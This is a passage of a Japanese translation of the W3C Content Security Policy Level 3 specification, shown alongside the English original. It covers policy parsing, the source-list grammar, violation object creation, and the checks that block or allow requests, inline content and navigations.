Content Security Policy Level 3

2.2.1. 直列形の~CSPを構文解析する

`直列形の~CSPを構文解析する@A ときは、 所与の ( ［ `~byte列$／`文字列$ ］ %直列形, `~source$ %~source, `処置先$ %処置先 ) に対し，以下を実行する： ◎ To parse a serialized CSP, given a byte sequence or string serialized, a source source, and a disposition disposition, execute the following steps.

この~algoは、 ある`施策$を返す — %直列形 を構文解析できなかった場合、 返される`施策$の`指令~集合$は空になる。 ◎ This algorithm returns a Content Security Policy object. If serialized could not be parsed, the object’s directive set will be empty.

1. ~IF［ %直列形 は`~byte列$である ］ ⇒ %直列形 ~SET `同型に復号する$( %直列形 ) ◎ If serialized is a byte sequence, then set serialized to be the result of isomorphic decoding serialized.
2. %指令~集合 ~LET 新たな`有順序~集合$ ◎ Let policy be a new policy with an empty directive set, a source of source, and a disposition of disposition.

3. `区切子で厳密に分割する$( %直列形, `~semicolon$ ) — その結果を成す ~EACH( %~token ) に対し： ◎ For each token returned by strictly splitting serialized on the U+003B SEMICOLON character (;):

   1. ~IF［ %~token は`~ASCII文字列$でない ］ ⇒ ~CONTINUE ◎ ↓
   2. %~list ~LET `~ASCII空白で分割する$( %~token ) ◎ ↓
   3. ~IF［ %~list は空である ］ ⇒ ~CONTINUE ◎ Strip leading and trailing ASCII whitespace from token. ◎ If token is an empty string, or if token is not an ASCII string, continue.
   4. %指令~名 ~LET %~list[ 0 ] ◎ Let directive name be the result of collecting a sequence of code points from token which are not ASCII whitespace.

   5. %指令~名 ~SET `~ASCII小文字~化する$( %指令~名 ) ◎ Set directive name to be the result of running ASCII lowercase on directive name.

      注記： %指令~名 は大小無視である。 例えば［ `script-SRC 'none'^s, `ScRiPt-sRc 'none'^s ］は、 等価になる。 ◎ Note: Directive names are case-insensitive, that is: script-SRC 'none' and ScRiPt-sRc 'none' are equivalent.

   6. ~IF［ %指令~集合 内に［ `名前$ %指令~名 を伴う`指令$ ］は在る ］ ⇒ ~CONTINUE ◎ If policy’s directive set contains a directive whose name is directive name, continue.

      注記： この事例では、 ~UAは，重複な指令が無視されたことを~web開発者に通知するベキである。 例えば，~consoleによる警告が適切になるであろう。 ◎ Note: In this case, the user agent SHOULD notify developers that a duplicate directive was ignored. A console warning might be appropriate, for example.

   7. %指令~値 ~LET %~list から先頭の~itemを除去した結果の~list ◎ Let directive value be the result of splitting token on ASCII whitespace.
   8. %指令~集合 に新たな`指令$( %指令~名, %指令~値 ) を`付加する$set ◎ Let directive be a new directive whose name is directive name, and value is directive value. ◎ Append directive to policy’s directive set.

   【 この訳では、 より簡明になるよう，この反復~内の一部を等価な形に改めている。 】

4. ~RET 新たな`施策$ — その ⇒＃ `指令~集合$ ~SET %指令~集合, `~source$ ~SET %~source, `処置先$ ~SET %処置先 ◎ Return policy.

2.2.2. %応答 の~CSPを構文解析する

`応答の~CSPを構文解析する@A ときは、 所与の ( `応答$ %応答 ) に対し，以下を実行する： ◎ To parse a response’s Content Security Policies given a response response, execute the following steps.

この~algoは、 `施策$たちが成す`~list$を返す — 構文解析できる施策が無かった場合、 結果は空になる。 ◎ This algorithm returns a list of Content Security Policy objects. If the policies cannot be parsed, the returned list will be empty.

1. %施策~群 ~LET 新たな`~list$ ◎ Let policies be an empty list.
2. %~token群 ~LET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy$h ) ◎ For each token returned by extracting header list values given Content-Security-Policy and response’s header list:

3. %~token群 を成す ~EACH( %~token ) に対し： ◎ ↑

   1. %施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `enforce^l ) ◎ Let policy be the result of parsing token, with a source of "header", and a disposition of "enforce".
   2. ~IF［ %施策 の`指令~集合$は空でない ］ ⇒ %施策~群 に %施策 を`付加する$ ◎ If policy’s directive set is not empty, append policy to policies.
4. %~token群 ~SET `~header~listから値を抽出する$A( %応答 の`~header~list$rs, `Content-Security-Policy-Report-Only$h ) ◎ For each token returned by extracting header list values given Content-Security-Policy-Report-Only and response’s header list:

5. %~token群 を成す ~EACH( %~token ) に対し： ◎ ↑

   1. %施策 ~LET `直列形の~CSPを構文解析する$A( %~token, `header^l, `report^l ) ◎ Let policy be the result of parsing token, with a source of "header", and a disposition of "report".
   2. ~IF［ %施策 の`指令~集合$は空でない ］ ⇒ %施策~群 に %施策 を`付加する$ ◎ If policy’s directive set is not empty, append policy to policies.
6. %施策~群 を成す ~EACH( %施策 ) に対し ⇒ %施策 の`自己-生成元$ ~SET %応答 の`~URL$rsの`生成元$url ◎ For each policy of policies: • Set policy’s self-origin to response’s url's origin.
7. ~RET %施策~群 ◎ Return policies.

注記： ~UAは、 この~algoの結果が空になったか否かを指示する~flagを保持することにより，［ `~headerにより送達された~CSPを包含して$いるか否か~~検査する~~作業を~~省く ］よう最適化できる。 ◎ Note: When parsing a response’s Content Security Policies, if the resulting policies end up containing at least one item, user agents can hold a flag on policies and use it to optimize away the contains a header-delivered Content Security Policy algorithm.

2.3.1. ~source~list

各種 `指令$のうち，多くのものは、 `~source~list@ （ `serialized-source-list$p ）をその`値$にとる。 各`~source~list$は、 `文字列$たちが成す集合である — この~listを成す各`文字列$は、［ ~fetchし得る内容であって［ 埋込まれ得る／実行され得る ］ものを識別するもの ］であり，次に挙げるいずれかの型の `~source式@ （ `source-expression$p ）を表現する： ◎ Many directives' value consist of source lists: sets of strings which identify content that can be fetched and potentially embedded or executed. Each string represents one of the following types of source expression:

• ~keyword `none$pl （何にも合致しない） ◎ ↓
• 他の~keyword（ `keyword-source$p ） — 例 ⇒ `self$pl （現在の~URLの生成元に合致する） ◎ Keywords such as 'none' and 'self' (which match nothing and the current URL’s origin, respectively)
• 直列形の~URL（ `scheme-part$p を伴う `host-source$p ） — 例 ⇒＃ `https://example.com/path/to/file.js^s （特定の資源に合致する）／ `https://example.com/^s （その生成元に属する どの資源にも合致する） ◎ Serialized URLs such as https://example.com/path/to/file.js (which matches a specific file) or https://example.com/ (which matches everything on that origin)
• ~scheme（ `scheme-source$p ） ⇒ 指定された~schemeを有する どの資源にも合致する — 例 ⇒ `https:^s ◎ Schemes such as https: (which matches any resource having the specified scheme)
• ~host（ `scheme-part$p を伴わない `host-source$p ） — 例 ⇒＃ `example.com^s （~schemeに関わらず，~host上の どの資源にも合致する）／ `*.example.com^s （~hostの下位domain（下位domainの下位domain, 等々も含む）上の どの資源にも合致する） ◎ Hosts such as example.com (which matches any resource on the host, regardless of scheme) or *.example.com (which matches any resource on the host’s subdomains (and any of its subdomains' subdomains, and so on))
• ~nonce（ `nonce-source$p ） ⇒ ~page上の特定の要素に合致し得る — 例 ⇒ `nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA^pl ◎ Nonces such as 'nonce-ch4hvvbHDpv7xCSvXCs3BrNggHdTzxUA' (which can match specific elements on a page)
• ~digest（ `hash-source$p ） ⇒ ~page上の特定の要素に合致し得る — 例 ⇒ `sha256-abcd...^pl ◎ Digests such as 'sha256-abcd...' (which can match specific elements on a page)

`直列形の~source~list@ （ `serialized-source-list$p ） は、 次の`~ABNF$文法を固守している`~ASCII文字列$であり， 空白で区切られた一連の`~source式$からなる： ◎ A serialized source list is an ASCII string, consisting of a whitespace-delimited series of source expressions, adhering to the following ABNF grammar [RFC5234]:

`serialized-source-list@p
	= ( `source-expression$p *( `required-ascii-whitespace$p `source-expression$p ) )
	/ "`none@pl"

`source-expression@p
	= `scheme-source$p
	/ `host-source$p
	/ `keyword-source$p
	/ `nonce-source$p
	/ `hash-source$p

; ~scheme ~source式：
;	  `https:^l
;	/ `custom-scheme:^l
;	/ `another.custom-scheme:^l
`scheme-source@p
	= `scheme-part$p ":"

; ~host ~source式：
;	  `example.com^l
;	/ `*.example.com^l
;	/ `https://*.example.com:12/path/to/file.js^l
`host-source@p
	= [ `scheme-part$p "://" ] `host-part$p [ ":" `port-part$p ] [ `path-part$p ]
`scheme-part@p
	= `scheme$p
	; scheme is defined in section 3.1 of RFC 3986.
`host-part@p
	= "*"
	/ [ "*." ] 1*`host-char$p *( "." 1*`host-char$p ) [ "." ]
`host-char@p
	= `ALPHA$P
	/ `DIGIT$P
	/ "-"
`port-part@p
	= 1*`DIGIT$P / "*"
`path-part@p
	= `path-absolute$p 
（ただし、
`~semicolon$, `~comma$は含まない）
◎
(but not including ";" or ",")

	; path-absolute is defined in section 3.3 of RFC 3986.

; ~keyword ~source式：
`keyword-source@p
	= "`self@pl"
	/ "`unsafe-inline@pl"
	/ "`unsafe-eval@pl"
	/ "`strict-dynamic@pl"
	/ "`unsafe-hashes@pl"
	/ "`report-sample@pl"
	/ "`unsafe-allow-redirects@pl"
	/ "`wasm-unsafe-eval@pl"
	/ "`report-sha256@pl"
	/ "`report-sha384@pl"
	/ "`report-sha512@pl"
【！ ＊ISSUE: Bikeshed unsafe-allow-redirects.】

; ~nonce ~source式：
; `'nonce-[nonce goes here]'^s
`nonce-source@p
	= "'nonce-" `base64-value$p "'"
`base64-value@p
	= 1*( `ALPHA$P / `DIGIT$P / "+" / "/" / "-" / "_" )*2( "=" )

; ~digest ~source式：
; `'sha256-[digest goes here]'^s
`hash-source@p
	= "'" `hash-algorithm$p "-" `base64-value$p "'"
`hash-algorithm@p
	= "sha256" / "sha384" / "sha512"

【 `unsafe-allow-redirects$pl は、 それを利用していた `navigato-to^dir 指令がこの仕様から除去されたため（`563$issue）， もはや無用かもしれない。 】

`host-char$p 生成規則は、 意図的に~ASCII文字のみを包含するようにされている。 国際-化~domain名は，`直列形の~CSP$の一部として直に手入力できないので、 代わりに Punycode `RFC3492$r に符号化されなければナラナイ。 例えば， ~domain `üüüüüü.de^s は、 `xn--tdaaaaaa.de^s として表現されなければナラナイ。 ◎ The host-char production intentionally contains only ASCII characters; internationalized domain names cannot be entered directly as part of a serialized CSP, but instead MUST be Punycode-encoded [RFC3492]. For example, the domain üüüüüü.de MUST be represented as xn--tdaaaaaa.de.

注記： ~IP~addressは，上の文法に合致するが、 ~source式~内に利用されたときに実際に合致する~URLは， `127.0.0.1^s に限られる （詳細は、 `~URLは ( 生成元, ~redirect回数 ) について~source~listに合致するか？$A を見よ）。 ~IP~addressが備える~securityの特質には疑義があるので、 アリな所では~hostnameを選好するべきである。 ◎ Note: Though IP address do match the grammar above, only 127.0.0.1 will actually match a URL when used in a source expression (see § 6.7.2.7 Does url match source list in origin with redirect count? for details). The security properties of IP addresses are suspect, and authors ought to prefer hostnames whenever possible.

注記： `base64-value$p の文法は、［ `base64$p, `base64url$p ］どちらの符号化-法も許容する。 これらの符号化-法は、 `hash-source$p 値を処理するときには，等価に扱われる。 その一方で，~nonceは、 `base64-value$p 文法を利用して厳密に文字列~照合される — 可用な文字を制限して， ~server側~運用者にとっての複階性を抑制するため（符号化-法, 等々）。 が，~UAは、 実際には，下層の値について~careすることも `nonce-source$p 値を復号することもない。 ◎ Note: The base64-value grammar allows both base64 and base64url encoding. These encodings are treated as equivalant when processing hash-source values. Nonces, however, are strict string matches: we use the base64-value grammar to limit the characters available, and reduce the complexity for the server-side operator (encodings, etc), but the user agent doesn’t actually care about any underlying value, nor does it do any decoding of the nonce-source value.

2.4.1. ( 大域~obj, 施策, 指令~名 ) から違反~objを作成する

次の~algoは、 新たな`違反$~objを，所与の ( `大域~obj$ %大域~obj, `施策$ %施策, `文字列$ %指令~名 ) から作成して、 それを初期~dataの集合で拡充する： ◎ Given a global object global, a policy policy, and a string directive, the following algorithm creates a new violation object, and populates it with an initial set of data:

1. %違反 ~LET 新たな`違反$ — その ⇒＃ `大域~obj$vr ~SET %大域~obj, `施策$vr ~SET %施策, `有効果な指令$vr ~SET %指令~名, `資源$vr ~SET ~NULL ◎ Let violation be a new violation whose global object is global, policy is policy, effective directive is directive, and resource is null.

2. ~IF［ ~UAは，現在~scriptを実行している ］~AND［ %大域~obj から ~scriptの~source~fileの ( ~URL, 行番号, 列番号 ) を抽出できる ］ ⇒ %違反 の ( `~source~file$vr, `行番号$vr, `列番号$vr ) ~SET それら ◎ If the user agent is currently executing script, and can extract a source file’s URL, line number, and column number from the global, set violation’s source file, line number, and column number accordingly.

   この種のものは，どこかで指定されているのか？ `ECMA262$r には，有用な~~記述は見当たらない。 ◎ Is this kind of thing specified anywhere? I didn’t see anything that looked useful in [ECMA262].

   注記： ~UAは、［ `~source~file$vr が，~pageにより要請された~redirect前の~URLになる ］ことを確保する必要がある。 それがアリでない場合、 ~UAは，~URLを生成元のみに剥いで，意図的でない漏洩eを避ける必要がある。 ◎ Note: User agents need to ensure that the source file is the URL requested by the page, pre-redirects. If that’s not possible, user agents need to strip the URL down to an origin to avoid unintentional leakage.

3. ~IF［ %大域~obj は `Window$I ~objである ］ ⇒ %違反 の`~referrer$vr ~SET %大域~obj に`結付けられた文書$【！~WINDOW#dom-window-document】の`~referrer$doc【！~HTMLdom#dom-document-referrer】 ◎ If global is a Window object, set violation’s referrer to global’s document's referrer.

4. %違反 の`状態s~code$vr ~SET %違反 の`大域~obj$vrに結付けられた資源の~HTTP状態s~code ◎ Set violation’s status to the HTTP status code for the resource associated with violation’s global object.

   状態s~codeは，正確にはどうやって取得する？ — 実際には どこにも格納されていない。 ◎ How, exactly, do we get the status code? We don’t actually store it anywhere.

5. ~RET %違反 ◎ Return violation.

2.4.2. ( 要請, 施策 ) から 違反~objを作成する

次の~algoは、 所与の ( `要請$ %要請, `施策$ %施策 ) から新たな`違反$~objを作成して，それを初期~dataの集合で拡充する： ◎ Given a request request, a policy policy, the following algorithm creates a new violation object, and populates it with an initial set of data:

1. %指令~名 ~LET `要請~用に有効果な指令を取得する$A( %要請 ) ◎ Let directive be the result of executing § 6.8.1 Get the effective directive for request on request.
2. ~Assert： %要請 の`~client$rq ~NEQ ~NULL 【この段は、この訳による補完。】
3. %違反 ~LET `新たな違反~obj$A1( %要請 の`~client$rqの`大域~obj$enV, %施策, %指令~名 ) ◎ Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on request’s client’s global object, policy, and directive.

4. %違反 の`資源$vr ~SET %要請 の`~URL$rq ◎ Set violation’s resource to request’s url.

   注記： ここでは %要請 の`~URL$rqを利用する — その`現在の~URL$rq `ではなく^em — 後者は、［ ~pageから~accessされてはナラナイような，~redirect~target ］についての情報を包含することもあるので。 ◎ Note: We use request’s url, and not its current url, as the latter might contain information about redirect targets to which the page MUST NOT be given access.

5. ~RET %違反 ◎ Return violation.

4.1.1. 要請に対する~CSP違反を報告する

次の~algoは、 所与の ( `要請$ %要請 ) に対し，［ %要請 の`施策~容器$rqの`~CSP~list$pCの “報告のみ” の施策 ］に基づいて違反を報告する： ◎ Given a request request, this algorithm reports violations based on policy container's CSP list "report only" policies.

1. %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.

2. %~CSP~list を成す ~EACH( %施策 ) に対し： ◎ For each policy of CSP list:

   1. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ ~CONTINUE ◎ If policy’s disposition is "enforce", then skip to the next policy.
   2. %違反された指令 ~LET `要請は施策に違反するか？$A( %要請, %施策 ) ◎ Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.
   3. ~IF［ %違反された指令 ~NEQ ε ］ ⇒ `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ If violates is not "Does Not Violate", then execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.

4.1.2. 要請は~CSPにより阻止されるべきか？

次の~algoは、 所与の ( `要請$ %要請 ) に対し，［ `阻止される^i ／ `許容される^i ］を返すことに加え、 【前者を返す場合には】［ %要請 の`施策~容器$rqの`~CSP~list$pC ］に基づいて違反を報告する： ◎ Given a request request, this algorithm returns Blocked or Allowed and reports violations based on request’s policy container's CSP list.

1. %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.
2. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

3. %~CSP~list を成す ~EACH( %施策 ) に対し： ◎ For each policy of CSP list:

   1. ~IF［ %施策 の`処置先$ ~EQ `report^l ］ ⇒ ~CONTINUE ◎ If policy’s disposition is "report", then skip to the next policy.
   2. %違反された指令 ~LET `要請は施策に違反するか？$A( %要請, %施策 ) ◎ Let violates be the result of executing § 6.7.2.1 Does request violate policy? on request and policy.

   3. ~IF［ %違反された指令 ~NEQ ε ］： ◎ If violates is not "Does Not Violate", then:

      1. `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
      2. %結果 ~SET `阻止される^i ◎ Set result to "Blocked".
4. ~RET %結果 ◎ Return result.

4.1.3. 要請に対する応答は~CSPにより阻止されるべきか？

次の~algoは、 所与の ( `応答$ %応答, `要請$ %要請 ) に対し，［ `阻止される^i ／ `許容される^i ］を返すことに加え、 【前者を返す場合には】［ %要請 の`施策~容器$rqの`~CSP~list$pC ］に基づいて違反を報告する： ◎ Given a response response and a request request, this algorithm returns Blocked or Allowed, and reports violations based on request’s policy container's CSP list.

1. %~CSP~list ~LET %要請 の`施策~容器$rqの`~CSP~list$pC ◎ Let CSP list be request’s policy container's CSP list.
2. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

3. %~CSP~list を成す ~EACH( %施策 ) に対し： ◎ For each policy of CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. ~IF［ %指令 の`要請後~検査$Aを実行した結果 ~EQ `阻止される^i ］： ◎ If the result of executing directive’s post-request check is "Blocked", then:

         1. `違反を報告する$A( `新たな違反~obj$A( %要請, %施策 ) ) ◎ Execute § 5.5 Report a violation on the result of executing § 2.4.2 Create a violation object for request, and policy. on request, and policy.
         2. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".

   注記： 検査のこの部位は、 ~pageが応答を読込めるかどうかを検証yする。 すなわち，~swが、 ~pageの~CSPに違反するような~fileで代用していないかどうかを。 ◎ Note: This portion of the check verifies that the page can load the response. That is, that a Service Worker hasn’t substituted a file which would violate the page’s CSP.

4. ~RET %結果 ◎ Return result.

4.1.4. 必要なら~hashを報告する

所与の ( `応答$ %応答, `要請$ %要請, `指令$ %指令 `施策$ %施策 ) に対し，次の手続きを走らす： ◎ Given a response response, a request request, a directive directive and a content security policy object policy, run the following steps:

1. %~algo ~LET ε【！the empty string】 ◎ Let algorithm be the empty string.
2. ~IF［ "`report-sha256$pl" ~IN %指令 の`値$ ］ ⇒ %~algo ~SET `sha256^l ◎ If directive’s value contains the expression "'report-sha256'", set algorithm to "sha256".
3. ~IF［ "`report-sha384$pl" ~IN %指令 の`値$ ］ ⇒ %~algo ~SET `sha384^l ◎ If directive’s value contains the expression "'report-sha384'", set algorithm to "sha384".
4. ~IF［ "`report-sha512$pl" ~IN %指令 の`値$ ］ ⇒ %~algo ~SET `sha512^l ◎ If directive’s value contains the expression "'report-sha512'", set algorithm to "sha512".
5. ~IF［ %~algo ~EQ ε【！the empty string】 ］ ⇒ ~RET ◎ If algorithm is the empty string, return.
6. %~hash ~LET 空`文字列$ ◎ Let hash be the empty string.
7. ~IF［ %応答 は`~CORS同一-生成元$である ］ ⇒ %~hash ~SET 次を順に`連結する$ ⇒＃ %~algo, `002D^U ( `-^l ), `~byte列に~algoを適用する$( %応答 の`本体$rs, %~algo ) ◎ If response is CORS-same-origin, then: • Let hash list be a list of strings, initially empty. • Append algorithm to hash list. • Append the result of applying algorithm to bytes on response’s body and algorithm to hash list. • Let hash be the result of concatenating hash list with U+002D (-).
8. ~Assert： %要請 の`~client$rq ~NEQ ~NULL 【この段は、この訳による補完。】
9. %大域~obj ~LET %要請 の`~client$rqの`大域~obj$enV ◎ Let global be the request’s client's global object.
10. ~IF［ %大域~obj は `Window$I でない ］ ⇒ ~RET ◎ If global is not a Window, return.
11. %報告~用~URL ~LET `報告~内の利用-用に~URLを剥ぐ$A( %大域~obj の`文書$の`~URL$doc ) ◎ Let stripped document URL to be the result of executing § 5.4 Strip URL for use in reports on global’s document's URL.
12. %報告-先~指令 ~LET ［ %施策 の`指令~集合$内に［ `名前$ `report-to$dir を伴う`指令$ ］は［ 在るならば それ／ 無いならば ε ］ ◎ ↓
13. ~IF［ %報告-先~指令 ~EQ ε ］ ⇒ ~RET ◎ If policy’s directive set does not contain a directive named "report-to", return. ◎ Let report-to directive be a directive named "report-to" from policy’s directive set.
14. %本体 ~LET 新たな`~CSP~hash報告の本体$ — その ⇒＃ `文書~URL$hrB ~SET %報告~用~URL, `下位資源~URL$hrB ~SET %要請 の`~URL$rq, `~hash$hrB ~SET %~hash, `行先$hrB ~SET %要請 の`行先$rq, `種別$hrB ~SET `subresource^l ◎ Let body be a csp hash report body with stripped document URL as its documentURL, request’s URL as its subresourceURL, hash as its hash, request’s destination as its destination, and "subresource" as its type.
15. `報告を生成して~queueする$( ↓ ) ⇒＃ %大域~obj【！settings object】, `csp-hash^l, %報告-先~指令 の`値$, %本体 ◎ Generate and queue a report with the following arguments: ◎ • context •• settings object • type •• "csp-hash" • destination •• report-to directive’s value. • data •• body

4.2.1. 文書~用に~CSP初期化を走らす

次の~algoは、 所与の ( `文書$ %文書 ) に対し， %文書 用の~CSPを初期化する： ◎ Given a Document document, the user agent performs the following steps in order to initialize CSP for document:

1. %文書 の`施策~容器$docの`~CSP~list$pCを成す ~EACH( %施策 ) に対し： ◎ For each policy of document’s policy container's CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. %結果 ~LET %指令 の`初期化$A( %文書【, %施策】 ) ◎ Execute directive’s initialization algorithm on document, and＼
      2. ~Assert： %結果 ~EQ `許容される^i ◎ assert: its returned value is "Allowed".

4.2.2. ~objの~CSP~listを検索取得する

%~obj が `有する~CSP~list@ は、 %~obj に応じて，次を返す： ◎ To obtain object’s CSP list:

• `文書$である ⇒ %~obj の`施策~容器$docの`~CSP~list$pC ◎ If object is a Document return object’s policy container's CSP list.
• ［ `Window$I ／ `WorkerGlobalScope$I ／ `WorkletGlobalScope$I ］である ⇒ `環境~設定群~obj$【%~obj に`関連な設定群~obj$？】の`施策~容器$enVの`~CSP~list$pC ◎ If object is a Window or a WorkerGlobalScope or a WorkletGlobalScope, return environment settings object’s policy container's CSP list.
• その他 ⇒ ~NULL ◎ Return null.

4.2.3. 要素における~inlineな型の挙動は~CSPにより阻止されるべきか？

この~algoは、 所与の ( `要素$ %要素, 文字列 %型, 文字列 %~source ) に対し， %要素 における［ ~inlineな定義による特定0の型の挙動（ ~script実行, ~styleの適用, ~event~handler, 等々） ］が［ 許容されるならば `許容される^i ／ 許容されないならば `阻止される^i ］を返す： ◎ Given an Element element, a string type, and a string source this algorithm returns "Allowed" if the element is allowed to have inline definition of a particular type of behavior (script execution, style application, event handlers, etc.), and "Blocked" otherwise:

1. ~Assert： %型 ~IN { `script^l, `script attribute^l, `style^l, `style attribute^l } ◎ Note: The valid values for type are "script", "script attribute", "style", and "style attribute".
2. ~Assert： %要素 ~NEQ ~NULL ◎ Assert: element is not null.
3. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

4. %要素 の`文書$の`大域~obj$が`有する~CSP~list$ 【 %要素 の`~node文書$が`有する~CSP~list$？】 を成す ~EACH( %施策 ) に対し： ◎ For each policy of element’s Document's global object’s CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy’s directive set:

      1. ~IF［ %指令 の`~inline検査$A( %要素, %型, %施策, %~source ) の結果 ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s inline check returns "Allowed" when executed upon element, type, policy and source, skip to the next directive.
      2. %指令~名 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
      3. %違反 ~LET `新たな違反~obj$A1( `現在の設定群~obj$の`大域~obj$enV, %施策, %指令~名 ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on the current settings object’s global object, policy, and directive-name.
      4. %違反 の`資源$vr ~SET `inline^l ◎ Set violation’s resource to "inline".
      5. %違反 の`要素$vr ~SET %要素 ◎ Set violation’s element to element.
      6. ~IF［ `report-sample^pl ~IN ［ %指令 の`値$ ］］ ⇒ %指令 の`見本$vr ~SET %~source の最初の 40 文字からなる文字列 ◎ If directive’s value contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.
      7. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      8. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
5. ~RET %結果 ◎ Return result.

4.2.4. ある種別の~navi要請は~CSPにより阻止されるべきか？

この~algoは、 所与の ( `要請$ %~navi要請, 文字列 %種別 ) に対し，［ 作動中な施策が~naviを阻止するならば `阻止される^i ／ ~ELSE_ `許容される^i ］を返す： ◎ Given a request navigation request and a string type (either "form-submission" or "other"), this algorithm return "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

1. ~Assert： %種別 ~IN { `form-submission^l, `other^l } ◎ ↑
2. %大域~obj ~LET %~navi要請 の`~client$rqの`大域~obj$enV ◎ ↓
3. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

4. %~navi要請 の`施策~容器$rqの`~CSP~list$pCを成す ~EACH( %施策 ) に対し： ◎ For each policy of navigation request’s policy container’s CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. ~IF［ %指令 の`~navi前~検査$A( %~navi要請, %種別, %施策 ) ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s pre-navigation check returns "Allowed" when executed upon navigation request, type, and policy skip to the next directive.
      2. %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令 の`名前$ ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.
      3. %違反 の`資源$vr ~SET %~navi要請 の`~URL$rq ◎ Set violation’s resource to navigation request’s URL.
      4. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      5. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
5. ~IF［ %結果 ~EQ `阻止される^i ］~OR［ %~navi要請 の`現在の~URL$rqの`~scheme$url ~NEQ `javascript^l ］ ⇒ ~RET %結果 ◎ If result is "Allowed", and if navigation request’s current URL’s scheme is javascript:

6. %大域~obj が`有する~CSP~list$を成す ~EACH( %施策 ) に対し： ◎ For each policy of navigation request’s client’s global object’s CSP list:

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. %指令~名 ~LET `~inline検査~用に有効果な指令を取得する$A( %型 ) ◎ Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on type.
      2. ~IF［ %指令 の`~inline検査$A( ~NULL, `navigation^l, %施策, %~navi要請 の`現在の~URL$rq ) 【！ ＊原文抜け 施策】 の結果 ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s inline check returns "Allowed" when executed upon null, "navigation" and navigation request’s current URL, skip to the next directive.
      3. %違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令~名 ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive-name.
      4. %違反 の`資源$vr ~SET %~navi要請 の`~URL$rq ◎ Set violation’s resource to navigation request’s URL.
      5. `違反を報告する$A( %違反 ) ◎ Execute § 5.5 Report a violation on violation.
      6. ~IF［ %施策 の`処置先$ ~EQ `enforce^l ］ ⇒ %結果 ~SET `阻止される^i ◎ If policy’s disposition is "enforce", then set result to "Blocked".
7. ~RET %結果 ◎ Return result.

4.2.5. ~targetにおける ある種別の~navi要請 に対する応答は~CSPにより阻止されるべきか？

この~algoは、 所与の ( `要請$ %~navi要請, `応答$ %~navi応答, `~CSP~list$ %応答~CSP~list, 文字列 %種別, `~navigable$ %~target ) に対し，［ 作動中な施策が~naviを阻止するならば `阻止される^i ／ ~ELSE_ `許容される^i ］を返す： ◎ Given a request navigation request, a response navigation response, a CSP list response CSP list, a string type (either "form-submission" or "other"), and a navigable target, this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:

1. ~Assert： %種別 ~IN { `form-submission^l, `other^l } ◎ ↑
2. %結果 ~LET `許容される^i ◎ Let result be "Allowed".

3. %応答~CSP~list を成す ~EACH( %施策 ) に対し： ◎ For each policy of response CSP list:

   注記： 一部の指令（ `frame-ancestors$dir など）は、 %応答 の`~CSP$が~naviに動作することを許容する。 ◎ Note: Some directives (like frame-ancestors) allow a response’s Content Security Policy to act on the navigation.

   1. %施策 の`指令~集合$を成す ~EACH( %指令 ) に対し： ◎ For each directive of policy:

      1. ~IF［ %指令 の`~navi応答~検査$A( %~navi要請, %種別, %~navi応答, %~target, `response^l, %施策 ) ~EQ `許容される^i ］ ⇒ ~CONTINUE ◎ If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "response", and policy skip to the next directive.

      2. %違反 ~LET `新たな違反~obj$A1( ~NULL, %施策, %指令 の`名前$ ) ◎ Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.

